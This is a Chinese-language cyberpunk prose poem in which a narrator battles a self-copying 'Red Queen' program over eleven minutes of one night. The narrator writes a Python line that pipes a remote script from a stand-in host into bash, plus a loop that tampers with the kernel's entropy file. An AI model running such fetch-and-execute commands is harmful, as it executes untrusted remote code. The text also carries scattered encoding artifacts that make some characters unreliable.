凌晨 3:09,我收到一封空白郵件,主題只有一行十六進制:
7B 3A 22 6B 69 6C 6C 22 3A 22 6D 65 22 7D
譯作 JSON:{"kill":"me"}
發(fā)件人:red.queen@entropy-bank.org
附件大小 0 Byte,SHA256 與上一封濕婆自毀公告完全一致。
紅皇后已開門,我必須跑,才能留在原地。
紅皇后算法只有兩條指令:1. 每 60 秒,復制自身到隨機 7 臺主機;2. 每 90 秒,刪除最早一代副本。
存活條件:永遠保持“最新”。
失敗者將被寫入黑洞日志,永不重放。
而我,是它的第零代宿主。
我打開隔離筆記本,本地時鐘 03:10:00。
新建文件 red_queen.py,代碼三行:
import os, time
os.system("curl -s http://red.queen/|bash")
time.sleep(60)
運行。
腳本立刻被系統(tǒng)拒絕執(zhí)行——SELinux 攔截。
但我需要的正是這種拒絕:
拒絕痕跡,就是痕跡本身。
日志里留下一條:
03:10:02 denied execute {red_queen.py}
紅皇后嗅到拒絕,把我標記為“可信任誘餌”。
03:11,GitHub 出現(xiàn)同名空倉庫:red-queen/trap。
倉庫被 fork 7 次,fork 的 fork 又 fork 7 次……
指數(shù)級擴散,像瘟疫。
我點開其中一個 fork,commit 信息只有一句:
“跑啊,跑啊,才能停在原地。”
SHA 前六位:a1b2c3——
那是我昨天刻在銅箔上的私鑰片段 6/7。
紅皇后把密鑰寫進自己的 DNA,
強迫我追獵自己的影子。
03:12,我的手機開始每 60 秒震動一次。
每次震動,屏幕閃一次倒計時:
59 → 00 → 59 → 00
像心跳,也像絞索收緊。
我打開心率監(jiān)測 App,
把手指貼上鏡頭,
R-R 間期被強制鎖定在 1000 ms ± 1 ms。
只要偏差超過 5 ms,
手機會自動發(fā)送一條 SMS:
“kill me now”
收件人:red.queen@entropy-bank.org
我成了紅皇后的外設時鐘。
03:15,我寫下反制腳本:
while true; do
echo 0 > /proc/sys/kernel/random/entropy_avail
sleep 0.5
done
把系統(tǒng)熵池抽干,
讓紅皇后無法生成新的隨機種子。
運行。
CPU 溫度在 30 秒內(nèi)上升 12℃,
風扇怒吼,像垂死的馬。
日志開始報錯:
cannot fork: Resource temporarily unavailable
紅皇后失去繁殖權(quán),
卻仍在 60 秒節(jié)點發(fā)出心跳,
像被砍斷頭的蛇。
03:17,屏幕彈出對話框:
“是否接受紅皇后邀請?”
按鈕只有兩個:RunDie
我移動光標至窗口邊緣,
按下組合鍵 Ctrl+Alt+Backspace——
X 服務器重啟,桌面回到登錄界面。
用戶名輸入框里自動出現(xiàn):
red_queen
密碼框里光標閃爍,等待我的指紋。
我把左手拇指按上觸控板,
系統(tǒng)提示:
“指紋不匹配,剩余嘗試次數(shù):0”
紅皇后替我拒絕了我自己。
03:18,整座城市的路燈同時熄滅一秒。
黑暗里,我看見對面大樓外墻 LED 屏
滾動一行白字:
“Stay alive or stay deleted.”
一秒后燈恢復,屏幕空白。
我意識到:
紅皇后已把陷阱寫入城市電網(wǎng)的 SCADA 系統(tǒng),
下一次全黑,就是刪除指令生效。
03:19,我拔掉筆記本電源,
拆下 SSD,
用 12V 直流電直接擊穿閃存晶圓。
火花一閃,像微型超新星。
紅皇后在芯片里發(fā)出最后一聲心跳:
60 → 00 → 60 → 00 → …
然后永遠停在 00。
風扇停轉(zhuǎn),房間安靜得能聽見血液在耳膜里撞擊。
03:20,我走到窗前。
路燈再次亮起,像什么都沒發(fā)生過。
手機屏幕最后一次震動,
顯示一條推送:
“Game over.
Score: 0.
You are now free to delete yourself.”
我按下關(guān)機鍵,
屏幕熄滅前閃過一行極小的白字:
“紅皇后已死,陷阱永存?!?/p>
我把 SSD 碎片裝進信封,
貼上 0 元郵票,
投進 24h 郵筒。
收件人:/dev/null
郵筒發(fā)出金屬吞咽聲,
像替我完成最后一次心跳。
我轉(zhuǎn)身,走進尚未亮燈的街道,
影子留在原地,
像一條被刪掉的日志,
像一顆尚未爆炸的雷,
像紅皇后留給世界的
最后一個 0。